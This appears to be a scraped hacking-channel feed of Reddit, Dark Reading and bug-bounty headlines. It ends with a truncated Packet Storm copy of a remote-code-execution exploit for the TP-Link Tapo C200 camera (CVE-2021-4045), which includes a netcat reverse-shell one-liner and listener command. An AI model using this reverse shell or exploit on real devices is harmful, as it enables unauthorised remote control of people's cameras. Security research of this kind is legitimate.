hacking: security in practice
A technical analysis of the leaked LockBit 3.0 builder

https://external-preview.redd.it/4Q1GwOlb4tTbiflkcaUQuqxW7v5WxOZgdgniadgllro.jpg?width=640&crop=smart&auto=webp&s=ada614e22cea233a1c15c530a18baadc6d263a36 submitted by /u/CyberMasterV
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
EP 123: NEWSWIRES - Investing in the stock market can be very profitable. Especially if you can see into the future. This is a story of how a group of traders and hackers got together to figure out a way to see into the future and make a lot of money from that (Darknet Diaries)

https://external-preview.redd.it/qYxcPavFJmKe63G_3PKpTxV-qJhgAX5Le8FeGsOQNn4.jpg?width=640&crop=smart&auto=webp&s=2f07b96deb5693c46ff7c638d7b7d23e14d30eae submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Uber hacker arrested

https://external-preview.redd.it/63pbl0ExOg3gQ5-t8g9NtHm2vfdCvspG8isrwuR7MQc.jpg?width=108&crop=smart&auto=webp&s=1d4a5c9a40a04f4770010d84ce42904c3559a9b7 submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Airgeddon not supported on WSL?

New to Kali and I thought I'd have a look at this. I'm running using WSL2. Does this mean I would need to run a live boot or similar to access the tool?

submitted by /u/originaldigga
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What Is Initial Access? MITRE ATT&CK® Initial Access Tactic | TA0001

https://external-preview.redd.it/l4XNEICXeW4eYQliTFGvEcgG0xDXFuqEQrtNifdKWTs.jpg?width=640&crop=smart&auto=webp&s=bc0bbdc936dae28784fe3ec4346b47f981a67bf7 submitted by /u/Cultural_Budget6627
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What got you into "hacking" and what do you do with it?

I've recently learned that computers are kinda important to the world.

Also data security.

Also cyber warfare is a thing I guess.

Anyway what about you?

submitted by /u/SeriouslySally36
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What would you like to see in a college-level cyber security course?

submitted by /u/IMCHillen
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Arbitrary File Corruption: End-to-End Encrypted Messaging Application
https://nmochea.medium.com/arbitrary-file-corruption-end-to-end-encrypted-messaging-application-674963dceef8?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

In this write-up, I’ll tell you how I was able to Exfiltrate Database and Sandbox Files on End-to-End Encrypted Messaging Application.Continue reading on Medium » (https://nmochea.medium.com/arbitrary-file-corruption-end-to-end-encrypted-messaging-application-674963dceef8?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Cyberattackers Compromise Microsoft Exchange Servers Via Malicious OAuth Apps

Cybercriminals took control of enterprise Exchange Servers to spread large amounts of spam aimed at signing people up for bogus subscriptions.

Dark Reading: Attacks/Breaches
How Europe Is Using Regulations to Harden Medical Devices Against Attack

Manufacturers need to document a medical device's intended use and operational environment, as well as plan for misuse, such as a cyberattack.

Dark Reading: Attacks/Breaches
Neglecting Open Source Developers Puts the Internet at Risk

From creating a software bill of materials for applications your company uses to supporting open source projects and maintainers, businesses need to step up their efforts to help reduce risks.

Dark Reading: Attacks/Breaches
Mitigating Risk and Communicating Value in Multicloud Environments

Protecting against risk is a shared responsibility that only gets more complex as you mix the different approaches of common cloud services.

Arbitrary File Corruption: End-to-End Encrypted Messaging Application

In this write-up, I’ll tell you how I was able to Exfiltrate Database and Sandbox Files on End-to-End Encrypted Messaging Application.Continue reading on Medium »
Read more...

Exploit Collector
TP-Link Tapo c200 1.1.15 Remote Code Execution

https://3.bp.blogspot.com/-5Gol6ncjvHU/WWlu6JXhP1I/AAAAAAAAIJU/-rw4_xI3A9E9PcOGmPlkULl4C62j1nBBwCLcBGAs/s1600/h108.png
TP-Link Tapo c200 version 1.1.15 suffers from a remote code execution vulnerability.

SHA-256 | 8e68cc2b8496ad99d86b7b36d04b8055a2811ee41b6746feca8d8f15c304f133

Download
# Exploit Title: TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE)
# Date: 02/11/2022
# Exploit Author: hacefresko
# Vendor Homepage: https://www.tp-link.com/en/home-networking/cloud-camera/tapo-c200/
# Version: 1.1.15 and below
# Tested on: 1.1.11, 1.1.14 and 1.1.15
# CVE : CVE-2021-4045

# Write up of the vulnerability: https://www.hacefresko.com/posts/tp-link-tapo-c200-unauthenticated-rce

import requests, urllib3, sys, threading, os
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PORT = 1337
REVERSE_SHELL = 'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f'
NC_COMMAND = 'nc -lv %d' % PORT # nc command to receive reverse shell (change it depending on your nc version)

if len(sys.argv) < 3:
print("Usage: python3 pwnTapo.py
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video